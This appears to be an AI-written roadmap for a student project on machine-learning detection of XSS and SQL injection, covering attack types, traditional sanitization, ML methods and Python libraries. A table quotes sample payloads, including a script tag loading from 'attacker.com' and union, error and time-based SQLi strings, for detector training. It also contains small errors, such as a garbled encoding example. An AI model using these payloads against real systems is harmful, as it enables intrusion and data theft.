# **Comprehensive Roadmap: ML-Driven Input Sanitization for Web Security**

## **Executive Summary**

This report presents a detailed roadmap for developing a "sanitization" project within the intersection of Machine Learning (ML) and Cybersecurity. The primary objective of this initiative is to create an adaptive and robust defense mechanism specifically targeting Cross-Site Scripting (XSS) and SQL Injection (SQLi) attacks, building upon established web security principles. The project's foundation acknowledges the inherent vulnerability of web applications where users can submit arbitrary input, a core security problem highlighted by Marcus Pinto.1 By integrating ML, this project aims to transcend the limitations of traditional, static sanitization methods 2 and offer a dynamic solution capable of detecting sophisticated and obfuscated attack payloads.4

Such an endeavor will significantly enhance a developer's profile, demonstrating proficiency in both cybersecurity and machine learning. It showcases practical skills in data handling, model development, and security analysis, which are highly sought-after capabilities for internships and various career opportunities in the technology sector.

## **1. Understanding the Threat Landscape: XSS and SQL Injection**

### **1.1 Defining Web Injection Attacks**

Web injection attacks represent a critical class of vulnerabilities where malicious data is introduced into an application, altering its intended behavior. Two of the most prevalent and impactful forms are Cross-Site Scripting and SQL Injection.

**Cross-Site Scripting (XSS):** XSS is an injection attack where malicious scripts, typically client-side, are injected into otherwise benign and trusted websites. These scripts are often introduced via untrusted user input and subsequently executed in the victim's browser.2 XSS attacks can be broadly categorized based on how the malicious payload reaches the victim:

* **Reflected XSS:** Also known as non-persistent XSS, this occurs when an attacker injects browser-executable code within a single HTTP response. The attack string is included as part of a crafted URI or HTTP parameters, improperly processed by the application, and then returned to the victim. This type of attack is non-persistent and only affects users who open a maliciously crafted link or third-party web page.2
* **Stored XSS:** This is a persistent form of XSS where the malicious payload is saved on the server, for instance, in a database or file system, and later reflected back to multiple victims when they access the compromised content.8
* **Blind XSS:** A specific type of persistent XSS, blind XSS occurs when an attacker's payload is saved on the server and subsequently executed by a backend user or administrator of the application, often through internal dashboards or feedback forms.8

The consequences of XSS attacks can range from minor annoyances to complete account compromise. Attackers can transmit private data, such as cookies or other session information, to themselves, redirect victims to attacker-controlled web content, or perform unauthorized operations on the user's machine under the guise of the legitimate application. In severe cases, XSS vulnerabilities on public-facing sites can even impact a company's stock price or erode consumer confidence.8

**SQL Injection (SQLi):** SQLi is a type of attack where malicious SQL commands are injected into input fields, manipulating backend database queries. This can lead to unauthorized disclosure of sensitive data, modification or deletion of database content, or even full control over the database system.3 SQL injection remains a leading cause of data theft-related cyber-attacks, underscoring the critical need for effective detection and prevention mechanisms.10 Common SQLi attack types include:

* **Logic Tests:** These verify query manipulation possibilities through boolean logic, such as ' OR '1'='1 for authentication bypass or WAITFOR DELAY for time-based blind injections.7
* **Error-Based Injection:** Attackers force database errors (e.g., using GROUP BY and RAND()) to extract data within the error messages.7
* **Blind SQLi:** This technique infers information based on subtle differences in application responses (e.g., true/false conditions or time delays) rather than direct data retrieval.7

### **1.2 The Critical Role of Input Sanitization**

Input sanitization is a fundamental security measure involving the modification or removal of potentially harmful data entered by users to prevent web-based attacks like SQL injection and XSS.3 It ensures that input data is free of characters or strings that could inject malicious code into an application or system.3 The project's conceptual foundation is deeply rooted in the principles articulated in "The Web Application Hacker's Handbook," co-authored by Marcus Pinto, which highlights the core security challenge: "Users Can Submit Arbitrary Input".1 This fundamental vulnerability makes robust input sanitization an indispensable first line of defense in web application security.

Traditional Strategies & Limitations:

Historically, several strategies have been employed for input sanitization, each with its strengths and inherent weaknesses when confronted with sophisticated attack methodologies:

* **Whitelisting:** This strategy allows only explicitly defined safe characters, patterns, or data types to be entered into a system.3 While highly effective for strict input fields requiring specific formats (e.g., email addresses), it can be less suitable for more complex data, such as HTML documents, where a broader range of legitimate input is expected.3
* **Blacklisting:** This approach involves detecting and preventing known malicious characters, patterns, or data types.3 However, blacklists are inherently reactive and often incomplete; a "deny list may not include all possible attack strings".2 Attackers continuously develop new "filter evasion techniques" 2 to bypass these static rules, rendering them unreliable against sophisticated, obfuscated payloads.
* **Encoding:** This strategy converts special characters (ee.g., < and >) from input types like HTML and URL to their encoded equivalents (e.g., < and >).3 While useful for sanitizing literal text, it is less effective when user input is intended to be rendered as HTML, such as in a WYSIWYG editor.3 Attackers exploit how filters may not decode input before scanning, or they stack multiple encodings to slip past basic defenses.6
* **Parameterized Statements (Prepared Statements) & Escaping:** These are highly effective coding practices primarily for SQLi mitigation. Parameterized statements separate user inputs from the SQL query, ensuring inputs are treated as data, not executable code, thereby preventing malicious code execution.12 Escaping involves modifying user inputs to neutralize special characters that could be used for malicious injection.12 While crucial, these methods can still be bypassed by sophisticated techniques if not implemented perfectly or if the underlying validation is weak.7

The detailed limitations of traditional sanitization methods, such as incomplete deny lists, difficulty with complex HTML, and susceptibility to encoding and obfuscation bypasses 2, underscore the fundamental problem that traditional, static defenses face against dynamic and evolving threats. This inherent challenge creates a compelling need for a more adaptive and intelligent defense mechanism. While machine learning is the focus of this project, the discussion of traditional methods (whitelisting, blacklisting, encoding, parameterized statements) is crucial. This understanding highlights that ML-driven sanitization should be viewed as an enhancement or an additional layer in a defense-in-depth strategy, rather than a complete replacement for established security practices.12 This comprehensive perspective is vital for developing robust and practical cybersecurity solutions.

**Table 1: Common XSS and SQLi Attack Types and Their Input Sanitization Relevance**

| Attack Type | Description | Common Vectors | Relevance to Input Sanitization | Example Payload |
| --- | --- | --- | --- | --- |
| Reflected XSS | Malicious script echoed from server in HTTP response. | URL parameters, HTTP headers | Requires strict output encoding and input validation. | <SCRIPT SRC=https://attacker.com/xss.js></SCRIPT> 11 |
| Stored XSS | Malicious script saved on server, executed when content is viewed. | User-generated content (comments, profiles) | Requires robust input sanitization and output encoding. | <img src=x onerror="javascript:alert('XSS')"> 11 |
| Blind XSS | Persistent XSS executed by backend user/admin. | Feedback forms, internal admin panels | Requires sanitization before storage and before internal display. | (Payload often similar to Stored XSS, executed in backend) 8 |
| Union-based SQLi | Uses UNION to combine malicious query with legitimate one, extracting data. | Input fields for search, login, forms | Requires parameterized queries; input validation for string formats. | id=2' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626271,database(),0x71716a6271) 14 |
| Error-based SQLi | Forces database errors to reveal sensitive information. | Input fields that interact with database queries | Requires parameterized queries; error handling to suppress detailed errors. | AND (SELECT 6062 FROM(SELECT COUNT(\*), CONCAT(0x716b627071,(SELECT version()), FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) 7 |
| Time-based Blind SQLi | Infers data by observing response times based on boolean conditions. | Input fields where direct output is not reflected | Requires parameterized queries; robust input validation; monitoring for unusual delays. | ' AND IF(LENGTH(database())>1,SLEEP(5),'false')-- 7 |

## **2. The Paradigm Shift: Machine Learning in Web Security Sanitization**

### **2.1 Why Traditional Methods Fall Short**

Traditional rule-based and signature-based detection methods, while foundational, are often static and struggle to keep pace with the "continuous evolution of attack strategies".4 These methods frequently "fail against sophisticated and obfuscated XSS payloads" 4 and generally contend with "high false-positive (FP) and false-negative (FN) rates" 15 when confronted with novel attack variations. This means they either block legitimate user actions or, more critically, miss actual attacks.

The advent of Artificial Intelligence (AI) introduces a new dimension to cyber threats. AI can generate "millions of variations on inputs with no effort" 13, making it feasible for attackers to create highly diverse and evasive payloads that can easily overwhelm traditional, human-designed security rules. Case studies illustrate that malformed or encoded inputs can bypass Web Application Firewalls (WAFs) that fail to canonicalize or strictly parse incoming data.6 Furthermore, a significant portion (80-90%) of cybersecurity information, such as threat reports and news articles, exists as unstructured text data.5 Traditional methods are ill-equipped to analyze this vast amount of information to uncover emerging threats or subtle attack patterns. The inability of traditional methods to cope with the "dynamic nature of XSS attacks" and "AI-driven attacks" 4 highlights a critical gap in conventional security approaches.

### **2.2 How ML Enhances Detection and Prevention**

Machine Learning offers a transformative approach to web security by providing adaptive and intelligent defense mechanisms.

**Learning and Adaptability:** Unlike static rule sets, ML-based approaches possess the inherent ability to "learn from evolving attack techniques and improve over time".4 They can continuously update and refine their detection capabilities based on new attack data, making them more resilient against zero-day exploits and novel obfuscation methods.4 This capacity to learn and adapt positions ML as a necessary solution for the rapidly evolving threat landscape.

**Pattern Analysis:** ML models excel at identifying "complex trends and anomalies associated with malicious payloads".4 Through techniques like Natural Language Processing (NLP), they can analyze textual data for "subtle anomalies, linguistic deviations, and emerging threat indicators".5 This capability is crucial for detecting highly obfuscated attacks that bypass simple keyword or pattern matching, as ML can discern hidden patterns even when attackers employ novel characteristics or previously unseen tactics.5 This ability to analyze patterns and detect anomalies shifts the security posture from reactive (blocking known signatures) to a more proactive stance.

**Reduced False Rates:** A key advantage of ML in security is its potential to "minimize false positives and false negatives to enhance security reliability".4 By learning from large datasets, ML models can distinguish more accurately between benign and malicious inputs, leading to fewer legitimate user actions being blocked (false positives) and fewer actual attacks being missed (false negatives). This represents a significant improvement over traditional methods that often struggle with these rates.15

**Automation and Efficiency:** Manual analysis of vast textual datasets for security threats is time-consuming and resource-intensive. ML automation streamlines this process, enabling defenders to analyze large volumes of text data swiftly and efficiently, allowing for proactive detection and response.5

**Dual Security & Performance Benefits:** Input validation is not only crucial for securing web applications but also for the integrity and performance of ML models themselves. "Invalid input data can be used to exploit vulnerabilities in the model, leading to security breaches and data leaks".16 Therefore, an ML-driven sanitization project offers a dual benefit: it secures the application from external attacks and simultaneously secures the ML model from adversarial inputs, ensuring accurate predictions and model integrity.16 This comprehensive approach to security, addressing both the application and the model, underscores the project's robust design.

## **3. Phase 1: Foundational Learning and Skill Development**

The initial phase of this project focuses on building a strong theoretical and practical foundation in both web security and machine learning, which are highly synergistic fields.

### **3.1 Core Concepts in Web Security**

A thorough understanding of web security fundamentals is paramount.

* **OWASP Top 10:** A foundational understanding of the OWASP Top 10 web application security vulnerabilities is essential.17 This list provides a standardized framework for comprehending the most critical risks, including Injection (A03:2021) and Cross-Site Scripting (A03:2021). Familiarity with these common threats is the first step in designing effective defenses.
* **Input Validation vs. Sanitization:** It is critical to clearly differentiate between input validation and sanitization. Input validation involves verifying that received data is accurate, complete, and conforms to expected standards, such as data type, length, and format.13 Sanitization, on the other hand, is the process of modifying or removing potentially harmful data.3 Both are crucial protective layers, with validation typically occurring first to ensure data integrity and format, followed by sanitization to neutralize malicious content.
* **Output Encoding:** Learning the critical importance of encoding data before rendering it back to the user in HTML is fundamental. This ensures that user input is treated as literal data, not executable code, directly preventing XSS attacks.2
* **Defense-in-Depth:** Grasping the concept of layering security controls is vital. ML-driven sanitization should be understood as a powerful component that complements other measures, such as Web Application Firewalls (WAFs), strict Content Security Policies (CSPs), and secure coding practices.2 This holistic view is necessary for developing resilient real-world security systems.
* **Thinking Like an Attacker:** Cultivating an attacker's mindset is invaluable. This involves actively trying to "break into your own system" 17 to anticipate potential bypass techniques, identify vulnerabilities, and design more robust defenses. Understanding common XSS filter evasion techniques 6 and SQLi bypass methods 7 is crucial for this proactive approach.

### **3.2 Essential Machine Learning Concepts**

A solid grasp of core machine learning principles is necessary for developing the detection model.

* **Supervised Learning:** This core ML paradigm is fundamental, as models will learn from labeled data—inputs explicitly marked as benign or malicious. This is the primary approach for XSS/SQLi detection.18
* **Classification:** The project will primarily involve binary classification, the task of categorizing inputs into one of two classes: malicious or benign.4
* **Feature Engineering:** Learning techniques to transform raw input data (text strings) into numerical features that ML models can process effectively is crucial. This includes understanding lexical features (e.g., length of input, number of script occurrences, count of special characters), Term Frequency-Inverse Document Frequency (TF-IDF), n-grams, and potentially more advanced techniques like word embeddings.4
* **Model Training & Evaluation:** Comprehending the lifecycle of an ML model is essential: splitting data into training and testing sets, applying cross-validation for robustness, hyperparameter tuning to optimize performance, and evaluating models using key metrics such as accuracy, precision, recall, F1-score, ROC-AUC, and confusion matrices.4
* **Overfitting & Underfitting:** Understanding these common challenges in ML and learning methods to mitigate them, such as regularization, cross-validation, and acquiring more diverse data, is vital for building generalizable models.15

### **3.3 Recommended Programming Languages and Libraries**

**Python:** Python is the de facto language for machine learning and is widely used in cybersecurity due to its extensive libraries, readability, and versatility.20

Core ML Libraries:

For implementing the machine learning models, several Python libraries are highly recommended:

* **Scikit-learn:** A versatile and user-friendly library, ideal for implementing traditional ML algorithms such as Logistic Regression, Support Vector Machines (SVM), Random Forest, and Decision Trees. It is excellent for initial project phases, establishing baseline models, and performing structured data analysis.20
* **TensorFlow/Keras:** Essential for deep learning applications, including Multi-Layer Perceptrons (MLP) and Convolutional Neural Networks (CNNs). TensorFlow provides robust support for large datasets and production deployment, while Keras offers a high-level API for faster experimentation with neural networks.20
* **PyTorch:** Known for its flexibility and dynamic computational graphs, PyTorch is often preferred in research for developing custom and complex neural network architectures.20
* **XGBoost/LightGBM/CatBoost:** These are highly efficient gradient boosting frameworks renowned for their speed and performance on structured data. They are frequently utilized in machine learning competitions and real-world applications for their accuracy and efficiency.20

Cybersecurity & Data Handling Libraries (Python):

To support data acquisition, preprocessing, and security-specific tasks, the following libraries are valuable:

* **Pandas & NumPy:** These are fundamental for efficient data manipulation, analysis, and numerical operations, which are crucial for preparing datasets for machine learning models.22
* **Requests:** A powerful library for making HTTP requests, useful for data collection from web applications or for interacting with web services.21
* **BeautifulSoup:** For parsing HTML and XML documents, potentially useful for extracting features from web content or log files.21
* **Scapy:** A robust tool for network packet production, manipulation, and analysis. It can be invaluable for generating custom malicious payloads for testing or for capturing network traffic for dataset creation.21
* **xml:** Specifically useful for parsing XML log files, as demonstrated in SQLi detection projects that capture HTTP requests and responses for feature extraction.18

The combination of foundational web security knowledge (OWASP, attack vectors) with practical ML skills (feature engineering, model evaluation, Python libraries) creates a highly synergistic skillset. This positions an individual as a versatile professional capable of addressing complex, interdisciplinary problems, making them highly attractive to employers. The explicit mention of tools like Scapy for custom packet generation 21, BurpSuite and Accunetix for generating and capturing malicious requests 18, and Charles for inspecting traffic 17 provides concrete, hands-on tools. This guides the user to create their own data or test their models in a realistic manner, moving beyond merely using pre-existing datasets and demonstrating practical application skills. This practical application of knowledge significantly enhances the value of a major project for a resume.

## **4. Phase 2: Project Design and Data Acquisition**

This phase transitions from foundational learning to the practical implementation of the project, focusing on defining its specific parameters and acquiring the necessary data.

### **4.1 Defining Project Scope and Specific Objectives**

Clearly articulating the specific problem the project aims to solve is the first step. For instance, a refined problem statement could be: "To develop a Machine Learning model capable of detecting and classifying Cross-Site Scripting (XSS) and SQL Injection (SQLi) payloads within user input fields of web applications with high accuracy and minimal false positives."

Defining the specific boundaries of the project is equally important. This involves determining whether the project will focus solely on detection, or if it will also explore aspects of prevention, such as suggesting sanitization rules based on detected patterns or integrating with a simulated Web Application Firewall (WAF). It is also crucial to decide if the project will handle both XSS and SQLi simultaneously, or if it will specialize in one initially before expanding.

The target environment in which the model will operate must also be defined. This could involve analyzing inputs from simulated web application forms, monitoring API endpoints, or processing log files from a web server. Clearly outlining these objectives and scope ensures a focused and manageable project.

## **Conclusion and Recommendations**

The development of an ML-driven input sanitization project for web security represents a significant step forward in addressing the dynamic and evolving threat landscape posed by XSS and SQLi attacks. Traditional, static security measures are increasingly insufficient against sophisticated, AI-generated, and obfuscated payloads. Machine learning offers the adaptive capabilities necessary to learn from new attack techniques, identify complex patterns, and reduce false detection rates, thereby shifting the security posture from reactive to proactive.

For an individual undertaking this as a major project for a resume or internship application, the following recommendations are provided to maximize its impact and demonstration of expertise:

1. **Embrace a Hybrid Approach:** While the project emphasizes ML, it is crucial to demonstrate an understanding that ML complements, rather than replaces, established web security practices. Integrating ML-driven detection within a broader defense-in-depth strategy, incorporating principles like strict input validation, output encoding, and parameterized queries, showcases a mature and holistic understanding of cybersecurity.
2. **Focus on Practical Application and Real-World Relevance:** Beyond theoretical understanding, the project should emphasize practical implementation. This includes:
   * **Data Generation:** Actively generating custom malicious payloads using tools like Scapy or BurpSuite, rather than solely relying on pre-existing datasets, demonstrates a deeper understanding of attack vectors and practical security testing.
   * **Model Deployment Strategy:** Consider how the trained model could be deployed, even in a simulated environment (e.g., as a Flask-based API or within a mock WAF), to showcase practical integration skills.4
   * **Performance Metrics Beyond Accuracy:** While high accuracy is desirable, prioritizing metrics like precision and recall, especially for security applications, is critical to minimize false positives (disrupting legitimate users) and false negatives (missing actual attacks).4 Acknowledging and addressing potential overfitting concerns, as noted in research 4, will further strengthen the project's credibility.
3. **Showcase Interdisciplinary Skills:** This project inherently combines cybersecurity and machine learning. Highlighting the synergy between these fields—for instance, how feature engineering for text data directly addresses obfuscation techniques, or how model validation ensures the integrity of the security solution itself—will underscore the versatility and advanced capabilities gained.
4. **Document Thoroughly:** Maintain meticulous documentation of every phase, from data collection and preprocessing methodologies (e.g., text cleaning, tokenization, handling class imbalance) 4 to model selection, training parameters, and evaluation results. Detailed documentation, including discussions of limitations and potential future enhancements, reflects a professional and research-oriented approach.
5. **Continuous Learning and Adaptation:** The cybersecurity landscape is constantly evolving. Acknowledging the need for continuous model refinement and adaptation to new attack vectors 4 demonstrates foresight and a commitment to ongoing professional development, a highly valued trait in the industry.

By following this roadmap, the "sanitization" project will not only contribute to a robust defense against web injection attacks but also serve as a compelling demonstration of advanced technical skills and a nuanced understanding of modern cybersecurity challenges, significantly enhancing career prospects.

#### Works cited

1. The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws, accessed July 25, 2025, <http://www.beiruteyecenter.com/uploads/3794_1008_4334.pdf>
2. Testing for Reflected Cross Site Scripting - WSTG - Latest | OWASP Foundation, accessed July 25, 2025, <https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting>
3. User input sanitization and validation: securing your app - TinyMCE, accessed July 25, 2025, <https://www.tiny.cloud/blog/input-sanitization/>
4. XSS-Net: An Intelligent Machine Learning Model for Detecting Cross ..., accessed July 25, 2025, <https://sciencepg.com/article/10.11648/j.mlr.20251001.12>
5. Natural Language Processing for Detecting Anomalies and Intrusions in Unstructured Cybersecurity Data - DL Press, accessed July 25, 2025, <https://publications.dlpress.org/index.php/ijic/article/download/69/62/142>
6. XSS Filter Evasion: How Attackers Bypass XSS Filters – And Why Filtering Alone Isn't Enough | Acunetix, accessed July 25, 2025, <https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/>
7. SQL Injection Attack Guide | Hackviser, accessed July 25, 2025, <https://hackviser.com/tactics/pentesting/web/sql-injection>
8. Cross Site Scripting (XSS) - OWASP Foundation, accessed July 25, 2025, <https://owasp.org/www-community/attacks/xss/>
9. www.esecurityplanet.com, accessed July 25, 2025, <https://www.esecurityplanet.com/endpoint/prevent-web-attacks-using-input-sanitization/#:~:text=Input%20sanitization%20is%20the%20process,link%20for%20any%20organization's%20cybersecurity.>
10. Machine Learning-Based Technique to Detect SQL Injection Attack - ResearchGate, accessed July 25, 2025, <https://www.researchgate.net/publication/350490925_Machine_Learning-Based_Technique_to_Detect_SQL_Injection_Attack>
11. XSS Filter Evasion - OWASP Cheat Sheet Series, accessed July 25, 2025, <https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html>
12. How to Prevent SQL Injection Attacks? | Indusface Blog, accessed July 25, 2025, <https://www.indusface.com/blog/how-to-stop-sql-injection/>
13. Why Input Validation for APIs Matters in the AI Age, accessed July 25, 2025, <https://nordicapis.com/why-input-validation-for-apis-matters-in-the-ai-age/>
14. CyberCapstone/DSV · Datasets at Hugging Face, accessed July 25, 2025, <https://huggingface.co/datasets/CyberCapstone/DSV/viewer/default/train>
15. Machine Learning-Driven Detection of Cross-Site Scripting Attacks, accessed July 25, 2025, <https://www.mdpi.com/2078-2489/15/7/420>
16. Model Input Validation: The Essential Guide | Nightfall AI Security 101, accessed July 25, 2025, <https://www.nightfall.ai/ai-security-101/model-input-validation>
17. Web Application Security - Full Stack Python, accessed July 25, 2025, <https://www.fullstackpython.com/web-application-security.html>
18. saptajitbanerjee/SQL-Injection-Detection: My team built a ... - GitHub, accessed July 25, 2025, <https://github.com/saptajitbanerjee/SQL-Injection-Detection>
19. NLP for Social Media Threat Detection: Guide - Cimphony, accessed July 25, 2025, <https://www.cimphony.ai/insights/nlp-for-social-media-threat-detection-guide>
20. python-data-engineering-resources/resources/ml-libraries.md at main - GitHub, accessed July 25, 2025, <https://github.com/vajol/python-data-engineering-resources/blob/main/resources/ml-libraries.md>
21. Top 10 Python Libraries For Cybersecurity - GeeksforGeeks, accessed July 25, 2025, <https://www.geeksforgeeks.org/blogs/top-10-python-libraries-for-cybersecurity/>
22. SQLi-XSS-detection-CrossAttension - Kaggle, accessed July 25, 2025, <https://www.kaggle.com/code/alextrinity/sqli-xss-detection-crossattension>